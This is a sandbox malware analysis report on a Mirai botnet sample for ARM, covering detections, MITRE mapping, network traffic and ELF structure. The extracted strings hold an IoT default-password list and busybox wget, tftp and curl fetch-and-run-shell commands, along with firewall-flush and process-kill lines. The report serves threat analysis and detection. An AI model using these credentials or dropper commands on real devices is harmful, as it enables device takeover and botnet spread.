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Linux Analysis Report
la.bot.arm6.elf

Overview

General Information

Sample name:	la.bot.arm6.elf
Analysis ID:	1584240
MD5:	2a794f84110650d2405f231b0ff35533
SHA1:	8f7f5849be2584e8584a2f4ab170f3651538bbca
SHA256:	d2ea7fe167b4a97f4f886cdd54bff22011b0121e09d104e3dc12df7c349f3663
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584240
Start date and time:	2025-01-04 23:47:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.arm6.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/la.bot.arm6.elf
PID:	6230
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

la.bot.arm6.elf (PID: 6230, Parent: 6152, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
la.bot.arm6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6230.1.00007f9980017000.00007f9980030000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: la.bot.arm6.elf

ReversingLabs: Detection: 36%

Source: la.bot.arm6.elf

String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4D

Source: /tmp/la.bot.arm6.elf (PID: 6230)

Socket: 127.0.0.1:43478

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43

Source: la.bot.arm6.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.arm6.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o-

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@0/0

Source: /tmp/la.bot.arm6.elf (PID: 6230)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6230)	File opened: /proc/22/maps	Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6230)	File opened: /proc/66/maps	Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6230)	File opened: /proc/99/maps	Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6230)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6230)	File opened: /proc/222/maps	Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6230)	File opened: /proc/333/maps	Jump to behavior
Source: /tmp/la.bot.arm6.elf (PID: 6230)	File opened: /proc/777/maps	Jump to behavior

Source: /tmp/la.bot.arm6.elf (PID: 6230)

Queries kernel information via 'uname':

Jump to behavior

Source: la.bot.arm6.elf, 6230.1.00005620c0872000.00005620c09c1000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 6230.1.00007ffc74edb000.00007ffc74efc000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm6.elf
Source: la.bot.arm6.elf, 6230.1.00005620c0872000.00005620c09c1000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm6.elf, 6230.1.00007ffc74edb000.00007ffc74efc000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm6.elf, 6230.1.00007ffc74edb000.00007ffc74efc000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: la.bot.arm6.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007f9980017000.00007f9980030000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: la.bot.arm6.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007f9980017000.00007f9980030000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.arm6.elf	37%	ReversingLabs	Linux.Backdoor.Mirai

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.arm6.elf	false		high
http:///curl.sh	la.bot.arm6.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse
	Space.arm.elf	Get hash	malicious	Mirai	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	Linux4.7.elf	Get hash	malicious	Unknown	Browse
	Space.arm5.elf	Get hash	malicious	Unknown	Browse
	Space.ppc.elf	Get hash	malicious	Mirai	Browse
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse
	main_sh4.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse
	Space.arm.elf	Get hash	malicious	Mirai	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	Linux4.7.elf	Get hash	malicious	Unknown	Browse
	Space.arm5.elf	Get hash	malicious	Unknown	Browse
	Space.ppc.elf	Get hash	malicious	Mirai	Browse
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse
	main_sh4.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	.i.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.ppc.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Linux4.7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Space.arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Space.ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main_sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
CANONICAL-ASGB	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.ppc.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Linux4.7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Space.arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Space.ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main_sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
INIT7CH	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Space.arm.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	sshd.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	Linux4.7.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	Space.arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	Space.ppc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	main_sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	.i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.112481469261912
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.arm6.elf
File size:	103'980 bytes
MD5:	2a794f84110650d2405f231b0ff35533
SHA1:	8f7f5849be2584e8584a2f4ab170f3651538bbca
SHA256:	d2ea7fe167b4a97f4f886cdd54bff22011b0121e09d104e3dc12df7c349f3663
SHA512:	c539284c6fcefd8290b3d72b81f77ed8c67df84e0b8b8412044fd2aa062f39b488a928f7187de571f5a308591a45fdf2d2054908ab685da3b3ac362678c77feb
SSDEEP:	3072:ZtMj2n7GtJ3ChGSU4UB/HWuef7VUz9aA653sjOn5:ja2n7Gt4/UFeT6Za7G0
TLSH:	1AA3E85AB8818B16C5C505BFFE0F528E332327A8E2DF73139D146B247B8A59B0E6F511
File Content Preview:	.ELF..............(.....T...4...L.......4. ...(.....................x...x................................j..........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../...............-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	103500
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x157d4	0x0	0x6	AX	16
.fini	PROGBITS	0x1d884	0x15884	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x1d898	0x15898	0x36e0	0x0	0x2	A	8
.eh_frame	PROGBITS	0x29000	0x19000	0x4	0x0	0x3	WA	4
.init_array	INIT_ARRAY	0x29004	0x19004	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x29008	0x19008	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x29010	0x19010	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x29084	0x19084	0x370	0x0	0x3	WA	4
.bss	NOBITS	0x293f4	0x193f4	0x6614	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x193f4	0x57	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x18f78	0x18f78	6.1326	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x19000	0x29000	0x29000	0x3f4	0x6a08	4.1734	0x6	RW	0x8000	.eh_frame .init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2025 23:47:50.686288118 CET	43928	443	192.168.2.23	91.189.91.42
Jan 4, 2025 23:47:56.061650991 CET	42836	443	192.168.2.23	91.189.91.43
Jan 4, 2025 23:47:57.853398085 CET	42516	80	192.168.2.23	109.202.202.202
Jan 4, 2025 23:48:11.419557095 CET	43928	443	192.168.2.23	91.189.91.42
Jan 4, 2025 23:48:21.658226967 CET	42836	443	192.168.2.23	91.189.91.43
Jan 4, 2025 23:48:27.801382065 CET	42516	80	192.168.2.23	109.202.202.202
Jan 4, 2025 23:48:52.373790026 CET	43928	443	192.168.2.23	91.189.91.42
Jan 4, 2025 23:49:12.851079941 CET	42836	443	192.168.2.23	91.189.91.43

System Behavior

Analysis Process: la.bot.arm6.elf PID: 6230, Parent PID: 6152

General

Start time (UTC):	22:47:46
Start date (UTC):	04/01/2025
Path:	/tmp/la.bot.arm6.elf
Arguments:	/tmp/la.bot.arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report la.bot.arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: la.bot.arm6.elf PID: 6230, Parent PID: 6152

General

Chronological Activities

Linux Analysis Report
la.bot.arm6.elf